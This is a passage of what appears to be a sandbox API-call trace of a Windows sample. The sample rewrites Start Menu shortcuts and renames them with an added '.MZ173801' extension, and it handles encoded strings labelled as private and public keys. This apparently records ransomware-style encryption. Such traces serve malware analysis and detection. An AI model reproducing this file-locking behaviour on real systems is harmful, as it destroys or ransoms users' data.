SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0186.545] ReadFile (in: hFile=0x328, lpBuffer=0x24d0100, nNumberOfBytesToRead=0x588, lpNumberOfBytesRead=0x19f74c, lpOverlapped=0x0 | out: lpBuffer=0x24d0100*, lpNumberOfBytesRead=0x19f74c*=0x588, lpOverlapped=0x0) returned 1 [0186.621] CloseHandle (hObject=0x328) returned 1 [0186.621] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Update and Privacy Settings.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\update and privacy settings.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x328 [0187.016] WriteFile (in: hFile=0x328, lpBuffer=0x24d2130*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x19f758, lpOverlapped=0x0 | out: lpBuffer=0x24d2130*, lpNumberOfBytesWritten=0x19f758*=0x588, lpOverlapped=0x0) returned 1 [0187.017] CloseHandle (hObject=0x328) returned 1 [0187.203] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Update and Privacy Settings.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\update and privacy settings.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Update and Privacy Settings.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\update and privacy settings.lnk.mz173801")) returned 1 [0187.551] GetCurrentThreadId () returned 0xab4 [0187.551] GetCurrentThreadId () returned 0xab4 [0187.551] GetCurrentThreadId () returned 0xab4 [0187.551] GetCurrentThreadId () returned 0xab4 [0187.551] GetCurrentThreadId () returned 0xab4 [0187.551] GetCurrentThreadId () returned 0xab4 [0187.551] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd3f428c2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x21f770e1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x19f8e4, cFileName="Windows PowerShell", cAlternateFileName="WINDOW~1")) returned 1 [0187.551] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd3f428c2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x21f770e1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x19f8e4, cFileName="Windows PowerShell", cAlternateFileName="WINDOW~1")) returned 0 [0187.551] GetLastError () returned 0x12 [0187.551] FindClose (in: hFindFile=0xa1b150 | out: hFindFile=0xa1b150) returned 1 [0187.551] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\*.*", lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3e1ed17a, ftCreationTime.dwHighDateTime=0x1d32720, ftLastAccessTime.dwLowDateTime=0x99ba45ae, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x99ba45ae, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x19f8e4, cFileName=".", cAlternateFileName="")) returned 0xa1b150 [0187.552] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7fc | out: lpLocalFileTime=0x19f7fc) returned 1 [0187.552] FileTimeToDosDateTime (in: lpFileTime=0x19f7fc, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0187.552] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3e1ed17a, ftCreationTime.dwHighDateTime=0x1d32720, ftLastAccessTime.dwLowDateTime=0x99ba45ae, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x99ba45ae, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x19f8e4, cFileName="..", cAlternateFileName="")) returned 1 [0187.552] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0187.552] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0187.552] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd3e9d102, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7977a532, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x19f8e4, cFileName="Accessibility", cAlternateFileName="ACCESS~2")) returned 1 [0187.552] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0187.552] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0187.552] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\*.*", lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd3e9d102, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7977a532, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName=".", cAlternateFileName="")) returned 0xa1b508 [0187.552] FindNextFileW (in: hFindFile=0xa1b508, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd3e9d102, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7977a532, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="..", cAlternateFileName="")) returned 1 [0187.552] FindNextFileW (in: hFindFile=0xa1b508, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x210f9687, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210f9687, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x69cb7dde, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x238, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0187.552] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f530 | out: lpLocalFileTime=0x19f530) returned 1 [0187.552] FileTimeToDosDateTime (in: lpFileTime=0x19f530, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0187.552] FindNextFileW (in: hFindFile=0xa1b508, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x210f9687, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210f9687, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x440149b1, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x452, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Magnify.lnk", cAlternateFileName="")) returned 1 [0187.552] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0187.553] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0187.553] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\Magnify.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessibility\\magnify.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19f4c0 | out: lpFileInformation=0x19f4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x210f9687, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210f9687, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x440149b1, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x452)) returned 1 [0187.553] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\Magnify.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessibility\\magnify.lnk")) returned 0x20 [0187.553] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\Magnify.lnk", dwFileAttributes=0x80) returned 1 [0187.923] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0187.924] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24be5cc, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0187.925] GetCurrentThreadId () returned 0xab4 [0187.925] GetCurrentThreadId () returned 0xab4 [0187.925] GetCurrentThreadId () returned 0xab4 [0187.925] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0187.926] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24cf62c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 